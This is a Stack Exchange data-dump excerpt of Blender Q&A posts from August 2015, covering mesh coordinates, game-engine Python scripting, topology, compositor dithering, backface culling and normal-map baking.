  <row Id="35890" PostTypeId="1" AcceptedAnswerId="35891" CreationDate="2015-08-17T16:23:01.247" Score="2" ViewCount="467" Body="&lt;p&gt;I have a navigation mesh. In Edit Mode, the coordinate of the first plane of the navigation mesh has a completely different coordinate than that of a cube mesh at the same location. How can I align the coordinates of both these objects?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/8rH2n.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/8rH2n.png&quot; alt=&quot;coordinate of cube mesh&quot;&gt;&lt;/a&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/oPnFM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/oPnFM.png&quot; alt=&quot;coordinate of the start cell of navigation mesh&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15469" LastEditorUserId="5426" LastEditDate="2015-08-17T16:45:23.753" LastActivityDate="2015-08-17T16:45:23.753" Title="Coordinate alignment of meshes" Tags="&lt;mesh&gt;&lt;game-engine&gt;&lt;coordinates&gt;" AnswerCount="1" CommentCount="0" ClosedDate="2015-08-17T16:46:45.963" ContentLicense="CC BY-SA 3.0" />
  <row Id="35891" PostTypeId="2" ParentId="35890" CreationDate="2015-08-17T16:37:08.737" Score="3" Body="&lt;p&gt;Your problem is that you are looking at coordinates set to &lt;strong&gt;local&lt;/strong&gt;. Blender is generating those coordinates based on the distance of the selection from the origin of the object, and not the center of the scene. If you set your coordinates to &lt;strong&gt;global&lt;/strong&gt; the numbers will be generated by calculating the distance of the selection from the center pf the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can set the coordinates to Global by pressing this button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/nVbCK.gif&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/nVbCK.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5426" LastEditorUserId="5426" LastEditDate="2015-08-17T16:42:44.347" LastActivityDate="2015-08-17T16:42:44.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35893" PostTypeId="1" AcceptedAnswerId="35900" CreationDate="2015-08-17T20:15:15.230" Score="2" ViewCount="375" Body="&lt;p&gt;Got this strange little issue:&#xA;I've got a separate module, besides variables such as the player object and animation functions there is also the boolean variable for the &lt;kbd&gt;W&lt;/kbd&gt; key.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;w_active = bge.logic.KX_INPUT_ACTIVE == bge.logic.keyboard.events[bge.events.WKEY]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now when I import it from the module to another script and go like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if w_active:&#xA;   run_animation()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It won't play it but when I don't use the variable and write the &lt;code&gt;bge.logic.KX_INPUT_ACTIVE = bge.logic.keyboard.events(bge.events.WKEY)&lt;/code&gt; right after the &lt;code&gt;if&lt;/code&gt; it does work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also checked it out with &lt;code&gt;print(w_active)&lt;/code&gt; it seems the problem is that the boolean stays on &lt;code&gt;False&lt;/code&gt; even when I press the &lt;kbd&gt;W&lt;/kbd&gt; key.&lt;/p&gt;&#xA;" OwnerUserId="11484" LastEditorUserId="241" LastEditDate="2015-08-20T15:05:43.647" LastActivityDate="2015-08-20T15:05:43.647" Title="BGE: Refer to keyboard event boolean problem" Tags="&lt;python&gt;&lt;scripting&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35894" PostTypeId="1" AcceptedAnswerId="35927" CreationDate="2015-08-17T20:18:57.573" Score="3" ViewCount="1182" Body="&lt;p&gt;I'm a complete beginner in Blender and Python Scripting so I apologize in advance for the fuzzy requests. I have a class that contains a name, a position (x,y) and a time t, and I would like to be able to show a text displaying this name at a particular (x,y,0) position at time frame t. I would like this text to appear and disappear progressively, so I thought about creating a text object along the whole timeline, set its transparency to zero except during some time interval around t where it would be a triangle function with maximum 1 at t.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a bit of reading, I understood that usually a handler function is to be defined and then has to be registered in the, say, handlers.render_pre list. But I don't know how to use this procedure to my case since it seems to depend on a time frame parameter t for each different text to show.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem probably seems unclear so I attach what I've already written and I'd be happy to give more precisions about what I intend to do.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class pseudo:&#xA;def __init__(self, name, vec_position, vec_color):&#xA;    self.name = name&#xA;    self.vec_position = vec_position&#xA;    self.vec_color = vec_color&#xA;&#xA;pl = [pseudo(&quot;sardine&quot;, [0.3, 0.4], [1.0, 0.0, 0.0]),&#xA;      pseudo(&quot;tartine&quot;, [-0.2, -0.4], [0.0, 0.0, 1.0])]&#xA;&#xA;def print_pseudo(p):&#xA;    name = p.name&#xA;    x = p.vec_position[0]&#xA;    y = p.vec_position[1]&#xA;    r = p.vec_color[0]&#xA;    g = p.vec_color[1]&#xA;    b = p.vec_color[2]&#xA;    myFontCurve = bpy.data.curves.new(type = &quot;FONT&quot;, name = name + &quot;Curve&quot;)&#xA;    myFontOb = bpy.data.objects.new(name, myFontCurve)&#xA;    myFontOb.data.body = name&#xA;    myFontOb.location = (5 * x, 5 * y, 1)&#xA;    new_mat = bpy.data.materials.new(&quot;NAME&quot;)&#xA;    new_mat.diffuse_color = (r, g, b)&#xA;    myFontOb.data.materials.append(new_mat)&#xA;    myFontOb.active_material.use_transparency = True&#xA;    myFontOb.active_material.transparency_method = &quot;Z_TRANSPARENCY&quot;&#xA;    myFontOb.active_material.alpha = 1.0&#xA;    myFontOb.active_material.specular_alpha = 0.0&#xA;    bpy.context.scene.objects.link(myFontOb)&#xA;    bpy.context.scene.update()&#xA;&#xA;for p in pl:&#xA;    print_pseudo(p)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="16491" LastActivityDate="2015-08-18T11:41:13.780" Title="Modify transparency of a text object along the timeline using Python scripting" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35895" PostTypeId="1" AcceptedAnswerId="35903" CreationDate="2015-08-17T20:28:45.613" Score="7" ViewCount="3595" Body="&lt;p&gt;I'm trying to understand/learn modeling and I'm having problems reducing the number of edge loops I have without super weird geometry or awful triangles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a picture of what I'm trying to achieve (but without the weird geometry).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/bThkFoN.png&quot; alt=&quot;example topology problem&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the best way to approach this problem?&lt;/p&gt;&#xA;" OwnerUserId="5634" LastEditorUserId="2217" LastEditDate="2015-08-18T00:00:05.320" LastActivityDate="2015-08-18T00:23:29.567" Title="How do I reduce edge loops without weird geometry?" Tags="&lt;modeling&gt;&lt;vertices&gt;&lt;edges&gt;&lt;topology&gt;&lt;faces&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35896" PostTypeId="2" ParentId="9279" CreationDate="2015-08-17T21:18:07.677" Score="3" Body="&lt;p&gt;Achieving a dithering effect is possible but only on a per-object basis. I've adapted instructions &lt;a href=&quot;https://jessewerner.wordpress.com/2013/08/18/blender-composite-dithering/&quot; rel=&quot;nofollow noreferrer&quot;&gt;from here&lt;/a&gt;. I'll be using the dither pattern shown below:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/J79P8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/J79P8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to have your material set to only render a few colours based on lighting with constant falloff. That means no smooth light/shadow gradient across the object. Here’s the material setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/3om0L.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/3om0L.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that we have very discrete levels of lighting on our model, we have the ability to mask out these areas based on colour and replace the colour with anything we want. In our case, a dithering pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the compositor use the Key Color node to select the colour you want to mask out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cBQGU.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cBQGU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bring in your dither pattern texture using the Texture node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pBebr.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pBebr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the ColorRamp node to make the texture colour match that of the Key Color node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/zzvNa.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zzvNa.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, use the Mix node to combine it all together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/RA9X6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/RA9X6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The results will need adjusting to your needs. You will also need to do this for each colour you want to have a dither pattern.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/TLpQK.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/TLpQK.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3241" LastActivityDate="2015-08-17T21:18:07.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35897" PostTypeId="2" ParentId="35781" CreationDate="2015-08-17T21:45:10.233" Score="0" Body="&lt;p&gt;When I broadened the search to python in general (instead of blender specifically) I came across &lt;a href=&quot;https://stackoverflow.com/questions/50499/how-do-i-get-the-path-and-name-of-the-file-that-is-currently-executing/50905#50905&quot;&gt;How do I get the path and name of the file that is currently executing?&lt;/a&gt; .  It turns out blender does provide mildly useful results when inspecting from inside a text buffer and I was able to derive the following solution:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def dir_of_this():&#xA;    raw_path = inspect.getfile(inspect.currentframe())&#xA;    l = len(bpy.data.filepath)&#xA;    if raw_path[:l] == bpy.data.filepath:&#xA;        # Blender gives us a path consisting of the .blend file name plus the name of the text buffer inside the .blend.&#xA;        # Mildly awkward, but still usable.&#xA;        buf_name = raw_path[l+1:]&#xA;        #print(&quot;buffer is %s&quot;%buf_name)&#xA;        raw_path = bpy.data.texts[buf_name].filepath&#xA;    return os.path.dirname(raw_path)&#xA;&#xA;p1 = dir_of_this()&#xA;if not p1 in sys.path:&#xA;    sys.path.append(p1)&#xA;&#xA;import boilerplate&#xA;&#xA;import importlib               # optional &#xA;importlib.reload(boilerplate)  # optional&#xA;&#xA;from boilerplate import *&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="660" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-08-17T21:45:10.233" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35898" PostTypeId="1" CreationDate="2015-08-17T21:48:12.133" Score="6" ViewCount="1661" Body="&lt;p&gt;I have &quot;double-sided&quot; unchecked/disabled, but the backs of my faces still render anyway. I should be able to create a cube, flip normals, and render an inside out cube but it doesn't. How can I make it so faces do not show up in neither the viewport nor the render?&#xA;&lt;a href=&quot;https://i.stack.imgur.com/AImmF.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AImmF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've found that in 2.4 I could do this with an option called &quot;No v.normal flip&quot; which supposedly prevented the render from automatically flipping normals to face the camera. It would seem now blender still does that but there's nothing I can do about it.&lt;/p&gt;&#xA;" OwnerUserId="16492" LastActivityDate="2015-08-18T06:56:57.777" Title="Can't render an inside-out cube?" Tags="&lt;rendering&gt;&lt;normals&gt;" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="35900" PostTypeId="2" ParentId="35893" CreationDate="2015-08-17T22:19:25.243" Score="2" Body="&lt;p&gt;This appears to because the &lt;a href=&quot;https://blender.stackexchange.com/q/10769/599&quot;&gt;module will only be executed once&lt;/a&gt;. Variables assigned directly inside the module will retain their initial value and won't be re-evaluated when accessed later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To re-evaluate a variable, define it inside a function and call the function from wherever you want to access the current value of the variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, in the module you might create a function to return True if the &lt;kbd&gt;W&lt;/kbd&gt; key is pressed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;def is_w_active():&#xA;    return(bge.logic.KX_INPUT_ACTIVE == bge.logic.keyboard.events[bge.events.WKEY])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then when this is called from a script (or anywhere else) like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge, keyboardmodule&#xA;&#xA;print(keyboardmodule.is_w_active())&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;it will return True or False accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/420/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=420&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:39.940" LastActivityDate="2015-08-17T22:19:25.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35901" PostTypeId="1" AcceptedAnswerId="35983" CreationDate="2015-08-17T22:55:22.047" Score="2" ViewCount="559" Body="&lt;p&gt;in many games the items you want to pick change form when you are near or you are aiming at them. Sometimes they change color to a translucent green, sometimes they shine more than the rest objects in the world. I want to create this effect in BGE.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am working with this buddha statue from GiovanniLucca: &lt;a href=&quot;http://www.blendswap.com/blends/view/38409I&quot; rel=&quot;nofollow noreferrer&quot;&gt;statue&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this image: &lt;a href=&quot;https://i.stack.imgur.com/S7YFR.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/S7YFR.jpg&quot; alt=&quot;highlighted item&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you can see what I mean if you notice the desert eagle. There is a yellow highlight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how can I achieve this in the statue I am working with? Should I replace its mesh with another one with a different material (highlighted material)? Should I duplicate its mesh and scale it a bit to be close to the original and then change the color of the outer mesh and animate it to change from let's say transparent to green translucent when I am aiming at it? Is there another way? Has anyone done it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just want the player to know with which items he can interact and with whom he can't. I tried replacing meshes with transparent materials(in the whole object) and I was disappointed with the result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; I wasn't quite clear cause I did not know the way to do this I guess. My question is, how can I re-create the effect that you see in the image around the gun(desert eagle)? When the character is near I want it to get highlighted like this. The logic-bricks-code are done to detect when the character is near. So, how can I make it emit this (yellow) light close to its faces only and keep its textures still visible?&lt;/p&gt;&#xA;" OwnerUserId="13866" LastEditorUserId="13866" LastEditDate="2015-08-18T12:07:16.730" LastActivityDate="2015-08-20T05:46:34.233" Title="How to toggle/highlight interactable items?" Tags="&lt;scripting&gt;&lt;game-engine&gt;&lt;materials&gt;&lt;objects&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="7" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35902" PostTypeId="2" ParentId="105" CreationDate="2015-08-17T23:04:28.457" Score="3" Body="&lt;p&gt;When all group parts are selected (e.g. select one group member, press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;G&lt;/kbd&gt; select 'Group'):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the hotkeys for grab/move &lt;kbd&gt;G&lt;/kbd&gt;, scale &lt;kbd&gt;S&lt;/kbd&gt; and rotate &lt;kbd&gt;R&lt;/kbd&gt; to apply these modifications to all of the group parts at once.&lt;/p&gt;&#xA;" OwnerUserId="16493" LastEditorUserId="2217" LastEditDate="2015-08-17T23:55:12.307" LastActivityDate="2015-08-17T23:55:12.307" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35903" PostTypeId="2" ParentId="35895" CreationDate="2015-08-18T00:23:29.567" Score="3" Body="&lt;p&gt;First off there is no way to reduce 3 inner edges to 0 without adding a loop cut somewhere, or using triangles or Ngons.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can reduce three inner edges down to one inner edge using only quads.&lt;br&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/abUB8.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/abUB8.png&quot; alt=&quot;3 to 1 reduction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However you can reduce four inner edges down to zero. &#xA;&lt;a href=&quot;https://i.stack.imgur.com/qpJU6.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qpJU6.png&quot; alt=&quot;4 to 0 reduction&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2015-08-18T00:23:29.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="35904" PostTypeId="2" ParentId="32659" CreationDate="2015-08-18T01:19:46.803" Score="10" Body="&lt;p&gt;The mesh isn't exactly symmetrical.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behavior is intentional. Meshes which are &lt;em&gt;almost&lt;/em&gt; (but not quite) symmetrical wont detect vertices as mirrored.&lt;br&gt;&lt;em&gt;This is needed to avoid problems with high-poly meshes where vertices may be very close.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To resolve the problem, you can use the &lt;strong&gt;Snap to Symmetry&lt;/strong&gt; tool.&lt;br&gt;&#xA;See: &lt;em&gt;Mesh -&gt; Snap to Symmetry&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has options to select a distance threshold and choose which side of the axis to use.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-08-18T01:19:46.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35905" PostTypeId="1" CreationDate="2015-08-18T01:28:41.410" Score="3" ViewCount="1373" Body="&lt;p&gt;As a learning project, I've been modeling the &lt;a href=&quot;http://www.kultofathena.com/product.asp?item=ANS6&amp;amp;name=Albion%20Laird%20Sword&quot; rel=&quot;nofollow noreferrer&quot;&gt;Albion Laird&lt;/a&gt; sword. I've got a rather high polygon mesh. Since I plan using this mesh on a game prototype, I've created a lower resolution mesh, with the same proportions as the original, so I could bake the high normals into a texture for the simpler mesh. Below are both meshes side-by-side:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/7e89e555aff0a7233c91de1fbd6d2c24.png&quot; alt=&quot;Top: Low-poly; Bottom: High-poly&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I've placed them both at the same location, unwrapped the low-res, selected the high-poly then the low-poly, baked &quot;Selected to Active&quot; tangent normal maps, just like &lt;a href=&quot;https://www.youtube.com/watch?v=U7PQGgz1RII&quot; rel=&quot;nofollow noreferrer&quot;&gt;this video&lt;/a&gt;, except I'm using Cycles.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/6c58f9159cefb58ae0a5eaa9b2b0ac1a.png&quot; alt=&quot;Both meshes overlapped&quot;&gt;&#xA;&lt;img src=&quot;https://i.gyazo.com/08527aec6a9351ff7b129b9a21c2198d.png&quot; alt=&quot;Selection and Bake Settings&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then attached the freestanding Image Texture on the shader's Normal input, and this was the result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.gyazo.com/a4215dfb1c82aa1f39dce75573817937.png&quot; alt=&quot;The material setup&quot;&gt;&#xA;&lt;img src=&quot;https://i.gyazo.com/2a4833bc4b2d27fba8ab1388cdac3f24.png&quot; alt=&quot;Resulting render&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you can notice, it looks nothing like the high-poly render and contains heavy artifacts. I assume this is due to the overlap in the handle area, but how can I circumvent that without distorting any of the meshes? Here's the high-poly render for reference:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/Flf4c.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/Flf4c.png&quot; alt=&quot;High-poly mesh render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11479" LastActivityDate="2015-08-18T01:28:41.410" Title="Baking normals of overlapping objects?" Tags="&lt;cycles-render-engine&gt;&lt;texture-baking&gt;&lt;normals&gt;" AnswerCount="0" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="35906" PostTypeId="2" ParentId="35898" CreationDate="2015-08-18T03:09:44.127" Score="6" Body="&lt;h1&gt;How to make backfaces transparent&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;For the Viewport&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Enable the &quot;Backface Culling&quot; option. This is found in the Properties Panel under Shading &gt; Backface Culling. The backfaces will then show as transparent in the viewport.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/llXVv.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/llXVv.png&quot; alt=&quot;Enabling Backface Culling in the Viewport&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;For Cycles Materials&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Connect the Geometry node's &quot;Backfacing&quot; output to the &quot;Fac&quot; input of a Mix Shader. Then plug a Transparency Shader to the bottom input of the Mix Shader and your visible shader(s) into the top one. In this way you can factor between your visible material and transparency, or any other type of material for that matter. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/tPBwA.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/tPBwA.png&quot; alt=&quot;A Cycles material with transparent backfaces&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2952" LastEditorUserId="2952" LastEditDate="2015-08-18T06:56:57.777" LastActivityDate="2015-08-18T06:56:57.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35907" PostTypeId="1" CreationDate="2015-08-18T03:14:38.890" Score="2" ViewCount="2436" Body="&lt;p&gt;The title should say it all, I want to use a twist but there is not option for the axis. Why is that and how do we get around this ? &lt;/p&gt;&#xA;" OwnerUserId="13343" LastActivityDate="2015-08-18T03:27:50.853" Title="where can I set the axis for the simple deform modifier ?" Tags="&lt;modeling&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35908" PostTypeId="2" ParentId="35907" CreationDate="2015-08-18T03:27:50.853" Score="5" Body="&lt;p&gt;You can add an empty and chose it as origin object in the modifier on the deformed object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/0TBht.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/0TBht.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By rotating the empty you can change the direction of the deformation.&lt;/p&gt;&#xA;" OwnerUserId="12820" LastActivityDate="2015-08-18T03:27:50.853" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35909" PostTypeId="1" AcceptedAnswerId="72248" CreationDate="2015-08-18T03:39:21.747" Score="1" ViewCount="755" Body="&lt;p&gt;I have a text object in a scene. That scene is added at the start of the game as an overlay scene. Whenever I try to access the text object, named &quot;HUD.text&quot; (to change the game text) the bge returns:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;Traceback (most recent call last):&#xA;    File &quot;path\to\my\script.py&quot;, line 71,&#xA;  in main&#xA;      HUDtext = hud.objects['HUD.text']&#xA;  KeyError: &quot;CList[key]: ''HUD.text'' key not in list&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Which if I'm understanding it right means the object 'HUD.text' is not available for the game engine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked that the overlay scene is being added correctly (it is), and if I print all the objects in that scene 'HUD.text' is in the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I add the overlay scene with this line in a script that runs once at game start. &lt;code&gt;bge.logic.addScene('hud', 1)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;hud is defined by &lt;code&gt;hud = bge.logic.getSceneList()[-1]&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;print(hud.name)&lt;/code&gt; outputs &lt;code&gt;hud&lt;/code&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;print(hud.objects)&lt;/code&gt; outputs &lt;code&gt;[Plane, HUD.text, Camera.001]&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there something I have to do to make objects added in a overlay scene available? Or is there some huge delay in the time it takes to add the scene?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/422/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt;&lt;/strong&gt; is an example blend file showing the error.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2017-01-26T08:19:47.387" Title="Can not access game object added in overlay scene" Tags="&lt;python&gt;&lt;game-engine&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="35911" PostTypeId="2" ParentId="33500" CreationDate="2015-08-18T03:44:50.800" Score="1" Body="&lt;p&gt;this, and .rayCast() should set you right&lt;/p&gt;&#xA;&#xA;&lt;p&gt;vector.reflect(hitNormal)&#xA;&lt;a href=&quot;http://www.tutorialsforblender3d.com/GameModule/MathutilsModule_5_4.html&quot; rel=&quot;nofollow&quot;&gt;http://www.tutorialsforblender3d.com/GameModule/MathutilsModule_5_4.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13034" LastActivityDate="2015-08-18T03:44:50.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="35912" PostTypeId="2" ParentId="35561" CreationDate="2015-08-18T04:02:31.180" Score="1" Body="&lt;p&gt;Make sure it's not invisible in physics.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure the normals are facing the correct direction.&lt;/p&gt;&#xA;" OwnerUserId="13034" LastEditorUserId="599" LastEditDate="2015-08-18T06:29:08.147" LastActivityDate="2015-08-18T06:29:08.147" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
